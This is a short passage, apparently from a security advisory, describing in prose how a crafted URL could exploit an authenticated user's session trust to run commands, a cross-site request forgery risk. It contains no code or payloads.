Administrative privilege. By using a crafted URL, an attacker may trick
Victim into visiting to his web page to take advantage of the trust
Relationship between the authenticated victim and the application. Such
Attack cocould trick the victim into executing arbitrary commands in
Context of their session with the application, without further prompting or
